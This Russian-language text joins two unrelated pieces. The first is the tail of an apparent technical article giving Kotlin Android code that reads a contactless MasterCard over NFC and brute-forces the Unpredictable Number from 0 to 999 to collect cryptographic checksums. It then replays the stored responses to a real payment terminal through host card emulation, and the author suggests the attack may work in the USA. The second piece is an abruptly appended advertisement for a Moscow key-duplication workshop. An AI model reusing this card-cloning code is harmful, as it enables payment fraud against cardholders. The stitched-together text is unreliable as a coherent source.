Для работы с терминалом и картой использовалась программа Terminal Simulator от MasterCard. Он прекрасно работает с различными NFC-считывателями и считывателями смарт карт. К тому же он абсолютно бесплатен. Он позволяет тестировать карты при различных настройках POS-терминала и ведет подробный лог всех запросов от терминала и ответов карты. Также его можно использовать для тестирования приложения на телефоне, работающего в режиме карты.
Для чтения карты использовался NFC считыватель ACR122.
Теперь давайте попробуем все это преобразовать в код. Приложение будем писать на языке Kotlin под Android. Сначала попытаемся описать общую структуру команды.
data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = «», var P2: String = «», var Lc: String = «», var Nc: String = «», var Le: String = «», var Nr: String = «», var SW1WS2: String = «» ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) }

Для начала нам нужно настроить работу с NFC. На телефоне мы можем работать в двух режимах. В режиме карты, это когда мы отвечаем на команды от терминала, и в режиме терминала когда отсылаем команды и производим считывание, например карты. Т.е. сначала мы можем клонировать карту, а потом сделать так чтобы на запросы от терминала мы отвечали уже заготовленными командами.
Далее упрощенная реализация взаимодействия с NFC:
private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null …. override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } …. override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ….. override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, «com.nooan.cardpaypasspass.NfcService»)); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = «Reading card data … Error tagcomm: » + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = «Reading card data … Error tranceive: » + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv }
Здесь описывается последовательность команд и перебор значений Unpredictable Number в цикле от 0 до 999, в нужную нам команду изменяем Nc на «00000${String.format(«%03d», i)}».replace(«..(?!$)».toRegex(), «$0 «). И не забываем выполнять GET_PROCESSING_OPTIONS каждый раз перед COMPUTE_CRYPTOGRAPHIC_CHECKSUM иначе чек сумма подсчитываться не будет.
В результате это все можно записать в файл и использовать уже при работе с настоящим терминалом. Здесь же мы получаем Имя и Номер карточки, можем отобразить это на экране.
private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) // На основе предыдущего запроса формируем новый val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = «00» } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = «0C» Lc = «00» Le = «» Nc = «» }) if (cardtype === «MasterCard») { cardnumber = «Card number: ${response.getCards()}» cardexpiration = «Card expiration: ${response.getExpired()}» showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = «04» Nc = «00000${String.format(«%03d», i)}».replace(«..(?!$)».toRegex(), «$0 «) }) } } finishRead() }
Набор команд, которые нам необходимы.
object Commands { val SELECT_PPSE = Command(CLA = «00», INS = «A4», P1 = «04», P2 = «00», Lc = «0E», Nc = «32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00») val SELECT_APPLICATION = Command(CLA = «00», INS = «A4», P1 = «04», P2 = «00», Nc = «07») val GET_PROCESSING_OPTIONS = Command(CLA = «80», INS = «A8», P1 = «00», P2 = «00», Lc = «02», Nc = «83 00», Le = «00») val READ_RECORD_1 = Command(CLA = «00», INS = «B2», P1 = «01», P2 = «14», Lc = «00», Le = «00») val READ_RECORD_2 = Command(CLA = «00», INS = «B2», P1 = «01», P2 = «1C», Lc = «00», Le = «00») val READ_RECORD_3 = Command(CLA = «00», INS = «B2», P1 = «01», P2 = «24», Lc = «00», Le = «00») val READ_RECORD_4 = Command(CLA = «00», INS = «B2», P1 = «02», P2 = «24», Lc = «00», Le = «00») val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = «80», INS = «2A», P1 = «8E», P2 = «80», Le = «00») }
Чтобы реализовать прослушку команд от терминала, надо запустить свой сервис и объявить его в манифесте. В этом сервисе в processCommandApdu приходит команда от терминала, мы сопоставляем ее с той, что у нас хранится в файле, и отдаем ответ, который записан следующей строкой.
<service android:name=».NfcService» android:exported=»true» android:permission=»android.permission.BIND_NFC_SERVICE»> <intent-filter> <action android:name=»android.nfc.cardemulation.action.HOST_APDU_SERVICE» /> <category android:name=»android.intent.category.DEFAULT» /> </intent-filter> <meta-data android:name=»android.nfc.cardemulation.host_apdu_service» android:resource=»@xml/apdu_config» /> </service>
class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, «Not found file path», Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!!.split() } } Log.e(«LOG», «Finnish») return Value.magStripModeEmulated.hexToByteArray() }
Пара скриншотов из приложения. Считываем карту и парсим лог:
Таким образом можно смоделировать работу бесконтактной EMV карты на телефоне с данными карты. Но к счастью или к сожалению для кого-то, это атака не работает в России. По нашим экспериментам транзакция все время доходила до банка эмитента и отклонялась самим банком. Кроме того, у нас не получилось провести офлайн транзакцию с использованием MagStripe. Однако, подобная атака вполне может быть реализована в других странах, где использование MagStripe режима вполне обычное дело и алгоритм риск менеджмента немного другой, например в США.

Ссылки, с помощью которых появилась данная статья

Банковские микропроцессорные карты / И. М. Голдовский — М.: ЦИПСиР: Альпина Паб лишерз, 2010. — 686 с.

Пластиковые карты, таблетки и другие формы ключей, обеспечивающие доступ в подъезд жилого дома или отдел офиса, называют магнитными по ошибке или старой традиции. Когда-то в системе контроля доступа использовались именно намагниченные ключи, наподобие банковских карт. В некоторых банках перемещение внутри здания до сих пор контролируется подобными ключами, но подавляющее большинство хорошо знакомых устройств ничего общего с магнитом не имеют и размагнититься не могут. А вот треснуть или потерять свойства от холода вполне, поэтому иметь качественный дубликат магнитного ключа крайне важно.

Какие бывают ключи

Копию магнитного ключа сделать очень просто: специальный аппарат считывает код, нанесенный на чип старого устройства, и переносит на чистую болванку. Несмотря на то что работа занимает несколько минут, без помощи профессионалов не обойтись. Здесь нужен не только аппарат, но и знание производителя, специфики нанесения того или иного шифра. Без этого домофон или другой приемник может просто «не узнать» копию. Прежде чем сделать магнитный ключ, нужно уяснить, какой именно вы хотите, ведь существует немало разновидностей.

• Электронные таблетки.
• Смарт-карты.
• Контактные карты.
• Проксимити-брелоки.
• Иные магнитные карты.

Сколько стоит сделать магнитный ключ

Прогресс не стоит на месте, и сегодня многие домофонные устройства, которые и без того вошли в повседневную жизнь не так давно, кажутся архаизмом. Прежде чем задаваться вопросом — где сделать магнитный ключ, надо определиться, какой именно нужен. Большинство дверей, оборудованных стандартными приемниками, оснащено домофонами или приборами доступа индивидуального типа. Многие же банки и частные особняки все чаще снабжаются приборами биометрического типа, которые стоят недешево, зато гарантируют практически стопроцентную защиту личной и коммерческой собственности.

• Индивидуальные ключи подходят для систем контроля доступа среднего уровня, стоят недорого и имеют длительный срок эксплуатации. Именно такими системами снабжено большинство домофонов в городских жилых домах.
• В биометрических ключах, помимо электронного кода, зашифрованы индивидуальные параметры владельца, чаще всего отпечаток пальца. Даже попавший в чужие руки ключ такого типа не поможет попасть в помещение, куда вход незнакомцу запрещен.

Изготовление магнитных ключей

Если у вас вышла из строя таблетка от домофона или треснула карточка от офисного кабинета, не торопитесь идти к ближайшей палатке. Качество нового электронного устройства никто не гарантирует – далеко не везде стоит необходимое для перепрограммирования оборудование. Приезжайте в мастерскую «Мир ключей», хорошо известную москвичам и завоевавшую высокую репутацию среди жителей столицы. Изготовление магнитных ключей — одна из самых востребованных услуг нашей компании.

• Сделаем пропуск для подъезда, офиса, кабинета, парковки, гаража, стоянки, школы, банка.
• Работаем со всеми типами электронных устройств.
• Изготовим ключ карту, в том числе по индивидуальному заказу.
• Количество дубликатов не ограничено, при большом заказе скидки.
• Всегда выполняем работу вовремя, возможен выезд.

На все виды магнитных ключей предоставляется гарантия. При необходимости перепрограммируем карту под новый код. Готовы к диалогу по поводу долгосрочного сотрудничества и обслуживания магнитных карточек и замков. Комплексная поддержка специалистов нашей компании — то, чего не хватает людям, заказавшим ключ в палатке возле метро. Случись что — не знаешь, к кому обратиться. Мы же всегда готовы помочь добрым друзьям. Приезжайте в мастерскую «Мир ключей», не пожалеете!